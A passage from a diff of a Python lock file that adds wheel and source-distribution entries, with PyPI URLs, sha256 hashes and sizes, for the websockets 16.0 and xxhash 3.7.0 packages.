upload-time = "2026-01-10T09:23:31.368Z" }, + { url = "https://files.pythonhosted.org/packages/88/a8/a080593f89b0138b6cba1b28f8df5673b5506f72879322288b031337c0b8/websockets-16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32da954ffa2814258030e5a57bc73a3635463238e797c7375dc8091327434206", size = 185356, upload-time = "2026-01-10T09:23:32.627Z" }, + { url = "https://files.pythonhosted.org/packages/c2/b6/b9afed2afadddaf5ebb2afa801abf4b0868f42f8539bfe4b071b5266c9fe/websockets-16.0-cp314-cp314t-win32.whl", hash = "sha256:5a4b4cc550cb665dd8a47f868c8d04c8230f857363ad3c9caf7a0c3bf8c61ca6", size = 178085, upload-time = "2026-01-10T09:23:33.816Z" }, + { url = "https://files.pythonhosted.org/packages/9f/3e/28135a24e384493fa804216b79a6a6759a38cc4ff59118787b9fb693df93/websockets-16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b14dc141ed6d2dde437cddb216004bcac6a1df0935d79656387bd41632ba0bbd", size = 178531, upload-time = "2026-01-10T09:23:35.016Z" }, + { url = "https://files.pythonhosted.org/packages/72/07/c98a68571dcf256e74f1f816b8cc5eae6eb2d3d5cfa44d37f801619d9166/websockets-16.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:349f83cd6c9a415428ee1005cadb5c2c56f4389bc06a9af16103c3bc3dcc8b7d", size = 174947, upload-time = "2026-01-10T09:23:36.166Z" }, + { url = "https://files.pythonhosted.org/packages/7e/52/93e166a81e0305b33fe416338be92ae863563fe7bce446b0f687b9df5aea/websockets-16.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1aba3340a8dca8db6eb5a7986157f52eb9e436b74813764241981ca4888f03", size = 175260, upload-time = "2026-01-10T09:23:37.409Z" }, + { url = "https://files.pythonhosted.org/packages/56/0c/2dbf513bafd24889d33de2ff0368190a0e69f37bcfa19009ef819fe4d507/websockets-16.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:f4a32d1bd841d4bcbffdcb3d2ce50c09c3909fbead375ab28d0181af89fd04da", size = 176071, upload-time = "2026-01-10T09:23:39.158Z" }, + { url = "https://files.pythonhosted.org/packages/a5/8f/aea9c71cc92bf9b6cc0f7f70df8f0b420636b6c96ef4feee1e16f80f75dd/websockets-16.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0298d07ee155e2e9fda5be8a9042200dd2e3bb0b8a38482156576f863a9d457c", size = 176968, upload-time = "2026-01-10T09:23:41.031Z" }, + { url = "https://files.pythonhosted.org/packages/9a/3f/f70e03f40ffc9a30d817eef7da1be72ee4956ba8d7255c399a01b135902a/websockets-16.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:a653aea902e0324b52f1613332ddf50b00c06fdaf7e92624fbf8c77c78fa5767", size = 178735, upload-time = "2026-01-10T09:23:42.259Z" }, + { url = "https://files.pythonhosted.org/packages/6f/28/258ebab549c2bf3e64d2b0217b973467394a9cea8c42f70418ca2c5d0d2e/websockets-16.0-py3-none-any.whl", hash = "sha256:1637db62fad1dc833276dded54215f2c7fa46912301a24bd94d45d46a011ceec", size = 171598, upload-time = "2026-01-10T09:23:45.395Z" }, +] + +[[package]] +name = "xxhash" +version = "3.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/2f/e183a1b407002f5af81822bee18b61cdb94b8670208ef34734d8d2b8ebe9/xxhash-3.7.0.tar.gz", hash = "sha256:6cc4eefbb542a5d6ffd6d70ea9c502957c925e800f998c5630ecc809d6702bae", size = 82022, upload-time = "2026-04-25T11:10:32.553Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/92/49/e4b575b4ed170a7f640c8bd69cfadfa81c7b700191fde5e72228762b9f73/xxhash-3.7.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:cd8ab85c916a58d5c8656ea15e3ce9df836fe2f120a74c296e01d69fab2614b4", size = 33426, upload-time = "2026-04-25T11:05:15.702Z" }, + { url = "https://files.pythonhosted.org/packages/07/61/40f0155b0b09988eb6cdbfc52652f2f371810b0c58163208cb05667757bd/xxhash-3.7.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:85f5c0e26d945b5bb475e0a3d95193117498130baa7619357bdc7869c2391b5a", size = 30859, upload-time = "2026-04-25T11:05:17.708Z" }, + { url = "https://files.pythonhosted.org/packages/12/bd/2902b7aad574e43cd85fd84849cfbce48c52cb02c7d6902b8a2b3f6e668e/xxhash-3.7.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b7ffeaada9f8699be63d639536b0b60dff73b7d3325b7475c5bc8fdbf4eed47f", size = 193839, upload-time = "2026-04-25T11:05:19.364Z" }, + { url = "https://files.pythonhosted.org/packages/48/df/343ce8fd09e47ba8fba43b3bad3283ddf0deca799d5a27b084c3aa2ce502/xxhash-3.7.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cee88dfaa6b1b2bfadd3c031fa5f05584870e62fb05dc500942e9900c44fcfda", size = 212896, upload-time = "2026-04-25T11:05:21.131Z" }, + { url = "https://files.pythonhosted.org/packages/79/cf/703e8422a8b52407864281fb4eb52c605e9f33180413b4458f05de110eba/xxhash-3.7.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7426ff0dfa76eb47efc2cc59d4a717bfa9dc9938bff5e49e748bca749f6aa616", size = 235896, upload-time = "2026-04-25T11:05:22.988Z" }, + { url = "https://files.pythonhosted.org/packages/ed/bc/d4b039edbd426575add5f217abeeb2bf870e2c510d35445df81b4f457901/xxhash-3.7.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e8ff6ec73110f610425caef3ea875afbfc34caa542f01df3a80f45aadeb9f906", size = 211665, upload-time = "2026-04-25T11:05:24.799Z" }, + { url = "https://files.pythonhosted.org/packages/42/24/c6f81361796814b92399a88bf079d3b65e617f531819128fcf1bd6ef0571/xxhash-3.7.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0d23fd49fdc5c8af61fb7104f1ad247954499140f6cb6045b3aa5c99dadbbf28", size = 444929, upload-time = "2026-04-25T11:05:26.245Z" }, + { url = "https://files.pythonhosted.org/packages/a4/db/268012153eb7f6bf2c8a0491fdcde11e093f166990821a2ab754fe95537d/xxhash-3.7.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:12c249621af6d50a05d9f10af894b404157b15819878e18f75fcbb0213a77d07", size = 193271, upload-time = "2026-04-25T11:05:28.282Z" }, + { url = "https://files.pythonhosted.org/packages/0a/86/1d0d905d659850dad7f59c807c130249fdb204dc6f71f1fb36268f3f3e61/xxhash-3.7.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6741564a923f082f3c2941c8bb920462ed5b25eaebdd1e161f162233c9a10bc5", size = 284580, upload-time = "2026-04-25T11:05:30.116Z" }, + { url = "https://files.pythonhosted.org/packages/1f/52/fc01ca7ff425a9bdb38d9e3a17f2630447ce3b45d45a929a6cd94d469334/xxhash-3.7.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c4fd8acc6e32596350619896feb372033c0920975992d29837c32853bb1feacd", size = 210193, upload-time = "2026-04-25T11:05:31.969Z" }, + { url = "https://files.pythonhosted.org/packages/ec/96/122e0c6a3537a54b30752031dca557182576bae1a4171c0be8c532c84496/xxhash-3.7.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:646a69b56d8145d85f7fd2289d14fba07880c8a5bda406aa256b407481a61f35", size = 241094, upload-time = "2026-04-25T11:05:33.651Z" }, + { url = "https://files.pythonhosted.org/packages/d8/17/92e33338db8c18add33a46b56c2b7d5dcc6cc2ac076c45389f6017b1bf37/xxhash-3.7.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:11dd69b1a34b7b9af29012f390825b0cdb0617c0966560e227ca74daa7478ba9", size = 197721, upload-time = "2026-04-25T11:05:35.387Z" }, + { url = "https://files.pythonhosted.org/packages/c7/04/fd4114a0820913f336bef5c82ef851bde8d06270982ebd7b2a859961bbf2/xxhash-3.7.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:01cf5c5333aed26cc8d5eea33b8d6398e085e365a704b7372fabdf7ab06441a9", size = 210073, upload-time = "2026-04-25T11:05:37.405Z" }, + { url = "https://files.pythonhosted.org/packages/dd/eb/a2472b8b81cd576a9af3a4889ad8ba5784e8c5a04592587056cdaededd6c/xxhash-3.7.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f1e65d52c2d526734abecb98372c256b7eacce8fdc42e0df8570417fb39e2772", size = 274960, upload-time = "2026-04-25T11:05:39.224Z" }, + { url = "https://files.pythonhosted.org/packages/3d/d3/493afc544aae50b5fb2844ceaeb3697283bb59695db1a7cb40448636de05/xxhash-3.7.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:8ff00fcc3eb436617ed8556cf15daf76c2b501248361a065625a588af78a0a02", size = 413113, upload-time = "2026-04-25T11:05:40.669Z" }, + { url = "https://files.pythonhosted.org/packages/50/6a/002800845a22bff32bcf5fd09caceb4d3f5c3da6b754c46edb9743ce908b/xxhash-3.7.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b5cd29840505631c6f7dbb8a5d34b742b5e6bbda38fe0b9f54e825f3ea6b61dc", size = 190677, upload-time = "2026-04-25T11:05:42.403Z" }, + { url = "https://files.pythonhosted.org/packages/f4/0f/86ee514622a381c0dc49167c8d431a22aa93518a4063559c3e36e4b82bc8/xxhash-3.7.0-cp310-cp310-win32.whl", hash = "sha256:5bf2f1940499839b39fef1561b5ecb6ede9ac34ef4457474e1337fc7ef07c2f3", size = 30627, upload-time = "2026-04-25T11:05:44.022Z" }, + { url = "https://files.pythonhosted.org/packages/86/45/2ef2310803efb4a2d07844e8098d797e25702024793aa2e85858623a43b5/xxhash-3.7.0-cp310-cp310-win_amd64.whl", hash = "sha256:d41fcda2fa8ca682ebca134a2f2dc02575ba549267585597e73061565795f475", size = 31463, upload-time = "2026-04-25T11:05:45.218Z" }, + { url = "https://files.pythonhosted.org/packages/9e/75/40dbf8f142baf8993c38cd988c8d8f51fe0c51e6c84c5769a3c0280a651d/xxhash-3.7.0-cp310-cp310-win_arm64.whl", hash = "sha256:a845a59664d5c531525a467470220f8edc37959e0a6f8e734ffb6654da5c4bee", size = 27747, upload-time = "2026-04-25T11:05:46.422Z" }, + { url = "https://files.pythonhosted.org/packages/3b/f4/7bd35089ff1f8e2c96baa2dce05775a122aacd2e3830a73165e27a4d0848/xxhash-3.7.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:fdc7d06929ae28dda98297a18eef7b0fd38991a3b405d8d7b55c9ef24c296958", size = 33423, upload-time = "2026-04-25T11:05:47.628Z" }, + { url = "https://files.pythonhosted.org/packages/a3/26/4e00c88a6a2c8a759cfb77d2a9a405f901e8aa66e60ef1fd0aeb35edda48/xxhash-3.7.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ea6daa712f4e094a30830cf01e9b47d03b24d05cc9dab8609f0d9a9db8454712", size = 30857, upload-time = "2026-04-25T11:05:49.189Z" }, + { url = "https://files.pythonhosted.org/packages/82/2f/eeb942c17a5a761a8f01cb9180a0b76bfb62a2c39e6f46b1f9001899027a/xxhash-3.7.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9e6c0d843f1daf85ea23aeb053579135552bde575b7b98af20bfc667b6e4548d", size = 194702, upload-time = "2026-04-25T11:05:50.457Z" }, + { url = "https://files.pythonhosted.org/packages/0e/fd/96f132c08b1e5951c68691d3b9ec351ec2edc028f6a01fcd294f46b9d9f0/xxhash-3.7.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:363c139bf15e1ac5f136b981d3c077eb551299b1effede7f12faa010b8590a60", size = 213613, upload-time = "2026-04-25T11:05:52.571Z" }, + { url = "https://files.pythonhosted.org/packages/82/89/d4e92b796c5ed052d29ed324dbfc1dc1188e0c4bf64bebbf0f8fc20698df/xxhash-3.7.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a778b25874cb0f862eaab5986bff4ca49ffb0def7c0a34c237b948b3c6c775b2", size = 236726, upload-time = "2026-04-25T11:05:54.395Z" }, + { url = "https://files.pythonhosted.org/packages/40/f1/81fc4361921dc6e557a9c60cb3712f36d244d06eeeb71cd2f4252ac42678/xxhash-3.7.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3e1860f1e43d40e9d904cf22d93e587ea42e010ebce4160877e46bcab4bc232a", size = 212443, upload-time = "2026-04-25T11:05:56.334Z" }, + { url = "https://files.pythonhosted.org/packages/6a/d0/afeddd4cff50a332f50d4b8a2e8857673153ab0564ef472fcdeb0b5430df/xxhash-3.7.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:9122ad6f867c4a0f5e655f5c3bdf89103852009dbb442a3d23e688b9e699e800", size = 445793, upload-time = "2026-04-25T11:05:58.953Z" }, + { url = "https://files.pythonhosted.org/packages/f7/d0/3c91e4e6a05ca4d7df8e39ec3a75b713609258ec84705ab34be6430826a1/xxhash-3.7.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7d9110d0c3fb02679972837a033251fd186c529aa62f19c132fc909c74052b8", size = 193937, upload-time = "2026-04-25T11:06:00.546Z" }, + { url = "https://files.pythonhosted.org/packages/4e/3a/a6b0772d9801dd4bea4ca4fd34734d6e9b51a711c8a611a24a79de26a878/xxhash-3.7.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:347a93f2b4ce67ce61959665e32a7447c380f8347e55e100daa23766baacf0e5", size = 285188, upload-time = "2026-04-25T11:06:01.96Z" }, + { url = "https://files.pythonhosted.org/packages/6c/f8/cf8e31fd7282230fe7367cd501a2e75b4b67b222bfc7eacccfc20d2652cb/xxhash-3.7.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:acbb48679ddf3852c45280c10ff10d52ca2cd1da2e552fb81db1ff786c75d0e4", size = 210966, upload-time = "2026-04-25T11:06:03.453Z" }, + { url = "https://files.pythonhosted.org/packages/cc/f0/fd36cc4a81bf52ee5633275daae2b93dd958aace67fd4f5d466ec83b5f35/xxhash-3.7.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:fe14c356f8b23ad811dc026077a6d4abccdaa7bce5ca98579605550657b6fcfb", size = 241994, upload-time = "2026-04-25T11:06:05.264Z" }, + { url = "https://files.pythonhosted.org/packages/08/e1/67f5d9c9369be42eaf99ba02c01bf14c5ecd67087b02567960bfcee43b63/xxhash-3.7.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f420ad3d41e38194353a498bbc9561fd5a9973a27b536ce46d8583479cf44335", size = 198707, upload-time = "2026-04-25T11:06:07.044Z" }, + { url = "https://files.pythonhosted.org/packages/50/17/a4c865ca22d2da6b1bc7d739bf88cab209533cf52ba06ca9da27c3039bee/xxhash-3.7.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:693d02c6dc7d1aa0a45921d54cd8c1ff629e09dfdc2238471507af1f7a1c6f04", size = 210917, upload-time = "2026-04-25T11:06:08.853Z" }, + { url = "https://files.pythonhosted.org/packages/49/8b/453b35810d697abac3c96bde3528bece685869227da274eb80a4a4d4a119/xxhash-3.7.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:14bf7a54e43825ec131ee7fe3c60e142e7c2c1e676ad0f93fc893432d15414af", size = 275772, upload-time = "2026-04-25T11:06:10.645Z" }, + { url = "https://files.pythonhosted.org/packages/b5/ad/4eed7eab07fd3ee6678f416190f0413d097ab5d7c1278906bf1e9549d789/xxhash-3.7.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ae3a39a4d96bdb6f8d154fd7f490c4ad06f0532fcd2bb656052a9a7762cf5d31", size = 414068, upload-time = "2026-04-25T11:06:12.511Z" }, + { url = "https://files.pythonhosted.org/packages/d3/4e/fd6f8a680ba248fdb83054fa71a8bfa3891225200de1708b888ef2c49829/xxhash-3.7.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1cc07c639e3a77ef1d32987464d3e408565b8a3be57b545d3542b191054d9923", size = 191459, upload-time = "2026-04-25T11:06:14.07Z" }, + { url = "https://files.pythonhosted.org/packages/50/7c/8cb34b3bed4f44ca6827a534d50833f9bc6c006e83b0eb410ac9fa0793bd/xxhash-3.7.0-cp311-cp311-win32.whl", hash = "sha256:3281ba1d1e60ee7a382a7b958513ba03c2c0d5fcbd9a6f7517c0a81251a23422", size = 30628, upload-time = "2026-04-25T11:06:15.802Z" }, + { url = "https://files.pythonhosted.org/packages/0b/47/a49767bd7b40782bedae9ff0721bfe1d7e4dd9dc1585dea684e57ba67c20/xxhash-3.7.0-cp311-cp311-win_amd64.whl", hash = "sha256:a7f25baec4c5d851d40718d6fae52285b31683093d4ff5207e63ab306ccf14a5", size = 31461, upload-time = "2026-04-25T11:06:17.104Z" }, + { url = "https://files.pythonhosted.org/packages/7c/c6/3957bfacfb706bd687be246dfa8dd60f8df97c44186d229f7fd6e26c4b7e/xxhash-3.7.0-cp311-cp311-win_arm64.whl", hash = "sha256:4c2454448ce847c72635827bb75c15c5a3434b03ee1afd28cb6dc6fb2597d830", size = 27746, upload-time = "2026-04-25T11:06:18.716Z" }, + { url = "https://files.pythonhosted.org/packages/f2/8a/51a14cdef4728c6c2337db8a7d8704422cc65676d9199d77215464c880af/xxhash-3.7.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:082c87bfdd2b9f457606c7a4a53457f4c4b48b0cdc48de0277f4349d79bb3d7a", size = 33357, upload-time = "2026-04-25T11:06:20.44Z" }, + { url = "https://files.pythonhosted.org/packages/b9/1b/0c2c933809421ffd9bf42b59315552c143c755db5d9a816b2f1ae273e884/xxhash-3.7.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5e7ce913b61f35b0c1c839a49ac9c8e75dd8d860150688aed353b0ce1bf409d8", size = 30869, upload-time = "2026-04-25T11:06:21.989Z" }, + { url = "https://files.pythonhosted.org/packages/03/a8/89d5fdd6ee12d70ba99451de46dd0e8010167468dcd913ec855653f4dd50/xxhash-3.7.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3beb1de3b1e9694fcdd853e570ee64c631c7062435d2f8c69c1adf809bc086f0", size = 194100, upload-time = "2026-04-25T11:06:23.586Z" }, + { url = "https://files.pythonhosted.org/packages/87/ee/2f9f2ed993e77206d1e66991290a1ebe22e843351ca3ebec8e49e01ba186/xxhash-3.7.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f3e7b689c3bce16699efcf736066f5c6cc4472c3840fe4b22bd8279daf4abdac", size = 212977, upload-time = "2026-04-25T11:06:25.019Z" }, + { url = "https://files.pythonhosted.org/packages/de/60/5a91644615a9e9d4e42c2e9925f1908e3a24e4e691d9de7340d565bea024/xxhash-3.7.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a6545e6b409e3d5cbafc850fb84c55a1ca26ed15a6b11e3bf07a0e0cd84517c8", size = 236373, upload-time = "2026-04-25T11:06:26.482Z" }, + { url = "https://files.pythonhosted.org/packages/22/c0/f3a9384eaaed9d14d4d062a5d953aa0da489bfe9747877aa994caa87cd0b/xxhash-3.7.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:31ab1461c77a11461d703c88eb949e132a1c6515933cf675d97ec680f4bd18de", size = 212229, upload-time = "2026-04-25T11:06:28.065Z" }, + { url = "https://files.pythonhosted.org/packages/2e/67/02f07a9fd79726804190f2172c4894c3ed9a4ebccaca05653c84beb58025/xxhash-3.7.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7c4d596b7676f811172687ec567cbafb9e4dea2f9be1bbb4f622410cb7f40f40", size = 445462, upload-time = "2026-04-25T11:06:30.048Z" }, + { url = "https://files.pythonhosted.org/packages/40/37/558f5a90c0672fc9b4402dc25d87ac5b7406616e8969430c9ca4e52ee74d/xxhash-3.7.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:13805f0461cba0a857924e70ff91ae6d52d2598f79a884e788db80532614a4a1", size = 193932, upload-time = "2026-04-25T11:06:31.857Z" }, + { url = "https://files.pythonhosted.org/packages/d5/90/aaa09cd58661d32044dbbad7df55bbe22a623032b810e7ed3b8c569a2a6f/xxhash-3.7.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1d398f372496152f1c6933a33566373f8d1b37b98b8c9d608fa6edc0976f23b2", size = 284807, upload-time = "2026-04-25T11:06:33.697Z" }, + { url = "https://files.pythonhosted.org/packages/d6/f3/53df3719ab127a02c174f0c1c74924fcd110866e89c966bc7909cfa8fa84/xxhash-3.7.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d610aa62cdb7d4d497740741772a24a794903bf3e79eaa51d2e800082abe11e5", size = 210445, upload-time = "2026-04-25T11:06:35.488Z" }, + { url = "https://files.pythonhosted.org/packages/72/33/d219975c0e8b6fa2eb9ccd486fe47e21bf1847985b878dd2fbc3126e0d5c/xxhash-3.7.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:073c23900a9fbf3d26616c17c830db28af9803677cd5b33aea3224d824111514", size = 241273, upload-time = "2026-04-25T11:06:37.24Z" }, + { url = "https://files.pythonhosted.org/packages/3e/50/49b1afe610eb3964cedcb90a4d4c3d46a261ee8669cbd4f060652619ae3c/xxhash-3.7.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:418a463c3e6a590c0cdc890f8be19adb44a8c8acd175ca5b2a6de77e61d0b386", size = 197950, upload-time = "2026-04-25T11:06:39.148Z" }, + { url = "https://files.pythonhosted.org/packages/c6/75/5f42a1a4c78717d906a4b6a140c6dbf837ab1f547a54d23c4e2903310936/xxhash-3.7.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:03f8ff4474ee61c845758ce00711d7087a770d77efb36f7e74a6e867301000b8", size = 210709, upload-time = "2026-04-25T11:06:40.958Z" }, + { url = "https://files.pythonhosted.org/packages/8a/85/237e446c25abced71e9c53d269f2cef5bab8a82b3f88a12e00c5368e7368/xxhash-3.7.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:44fba4a5f1d179b7ddc7b3dc40f56f9209046421679b57025d4d8821b376fd8d", size = 275345, upload-time = "2026-04-25T11:06:42.525Z" }, + { url = "https://files.pythonhosted.org/packages/62/34/c2c26c0a6a9cc739bc2a5f0ae03ba8b87deb12b8bce35f7ac495e790dc6d/xxhash-3.7.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:31e3516a0f829d06ded4a2c0f3c7c5561993256bfa1c493975fb9dc7bfa828a1", size = 414056, upload-time = "2026-04-25T11:06:44.343Z" }, + { url = "https://files.pythonhosted.org/packages/a0/aa/5c58e9bc8071b8afd8dcf297ff362f723c4892168faba149f19904132bf4/xxhash-3.7.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b59ee2ac81de57771a09ecad09191e840a1d2fae1ef684208320591055768f83", size = 191485, upload-time = "2026-04-25T11:06:46.262Z" }, + { url = "https://files.pythonhosted.org/packages/d4/69/a929cf9d1e2e65a48b818cdce72cb6b69eab2e6877f21436d0a1942aff43/xxhash-3.7.0-cp312-cp312-win32.whl", hash = "sha256:74bbd92f8c7fcc397ba0a11bfdc106bc72ad7f11e3a60277753f87e7532b4d81", size = 30671, upload-time = "2026-04-25T11:06:48.039Z" }, + { url = "https://files.pythonhosted.org/packages/b9/1b/104b41a8947f4e1d4a66ce1e628eea752f37d1890bfd7453559ca7a3d950/xxhash-3.7.0-cp312-cp312-win_amd64.whl", hash = "sha256:7bd7bc82dd4f185f28f35193c2e968ef46131628e3cac62f639dadf321cba4d1", size = 31514, upload-time = "2026-04-25T11:06:49.279Z" }, + { url = "https://files.pythonhosted.org/packages/98/a0/1fd0ea1f1b886d9e7c73f0397571e22333a7d79e31da6d7127c2a4a71d75/xxhash-3.7.0-cp312-cp312-win_arm64.whl", hash = "sha256:7d7148180ec99ba36585b42c8c5de25e9b40191613bc4be68909b4d25a77a852", size = 27761, upload-time = "2026-04-25T11:06:50.448Z" }, + { url = "https://files.pythonhosted.org/packages/c1/ca/d5174b4c36d10f64d4ca7050563138c5a599efb01a765858ddefc9c1202a/xxhash-3.7.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:4b6d6b33f141158692bd4eafbb96edbc5aa0dabdb593a962db01a91983d4f8fa", size = 36813, upload-time = "2026-04-25T11:06:51.73Z" }, + { url = "https://files.pythonhosted.org/packages/41/d0/abc6c9d347ba1f1e1e1d98125d0881a0452c7f9a76a9dd03a7b5d2197f23/xxhash-3.7.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:845d347df254d6c619f616afa921331bada8614b8d373d58725c663ba97c3605", size = 35121, upload-time = "2026-04-25T11:06:53.048Z" }, + { url = "https://files.pythonhosted.org/packages/bf/11/4cc834eb3d79f2f2b3a6ef7324195208bcdfbdcf7534d2b17267aa5f3a8f/xxhash-3.7.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:fddbbb69a6fff4f421e7a0d1fa28f894b20112e9e3fab306af451e2dfd0e459b", size = 29624, upload-time = "2026-04-25T11:06:54.311Z" }, + { url = "https://files.pythonhosted.org/packages/23/83/e97d3e7b635fe73a1dfb1e91f805324dd6d930bb42041cbf18f183bc0b6d/xxhash-3.7.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:54876a4e45101cec2bf8f31a973cda073a23e2e108538dad224ba07f85f22487", size = 30638, upload-time = "2026-04-25T11:06:55.864Z" }, + { url = "https://files.pythonhosted.org/packages/f4/40/d84951d80c35db1f4c40a29a64a8520eea5d56e764c603906b4fe763580f/xxhash-3.7.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:0c72fe9c7e3d6dfd7f1e21e224a877917fa09c465694ba4e06464b9511b65544", size = 33323, upload-time = "2026-04-25T11:06:57.336Z" }, + { url = "https://files.pythonhosted.org/packages/89/cc/c7dc6558d97e9ab023f663d69ab28b340ed9bf4d2d94f2c259cf896bb354/xxhash-3.7.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:a6d73a830b17ef49bc04e00182bd839164c1b3c59c127cd7c54fcb10c7ed8ee8", size = 33362, upload-time = "2026-04-25T11:06:58.656Z" }, + { url = "https://files.pythonhosted.org/packages/2a/6e/46b84017b1301d54091430353d4ad5901654a3e0871649877a416f7f1644/xxhash-3.7.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:91c3b07cf3362086d8f126c6aecd8e5e9396ad8b2f2219ea7e49a8250c318acd", size = 30874, upload-time = "2026-04-25T11:06:59.834Z" }, + { url = "https://files.pythonhosted.org/packages/df/5e/8f9158e3ab906ad3fec51e09b5ea0093e769f12207bfa42a368ca204e7ab/xxhash-3.7.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:50e879ebbac351c81565ca108db766d7832f5b8b6a5b14b8c0151f7190028e3d", size = 194185, upload-time = "2026-04-25T11:07:01.658Z" }, + { url = "https://files.pythonhosted.org/packages/f3/29/a804ded9f5d3d3758292678d23e7528b08fda7b7e750688d08b052322475/xxhash-3.7.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:921c14e93817842dd0dd9f372890a0f0c72e534650b6ab13c5be5cd0db11d47e", size = 213033, upload-time = "2026-04-25T11:07:03.606Z" }, + { url = "https://files.pythonhosted.org/packages/8b/91/1ce5a7d2fdc975267320e2c78fc1cecfe7ab735ccbcf6993ec5dd541cb2c/xxhash-3.7.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e64a7c9d7dfca3e0fafcbc5e455519090706a3e36e95d655cec3e04e79f95aaa", size = 236140, upload-time = "2026-04-25T11:07:05.396Z" }, + { url = "https://files.pythonhosted.org/packages/34/04/fd595a4fd8617b05fa27bd9b684ecb4985bfed27917848eea85d54036d06/xxhash-3.7.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2220af08163baf5fa36c2b8af079dc2cbe6e66ae061385267f9472362dfd53c6", size = 212291, upload-time = "2026-04-25T11:07:06.966Z" }, + { url = 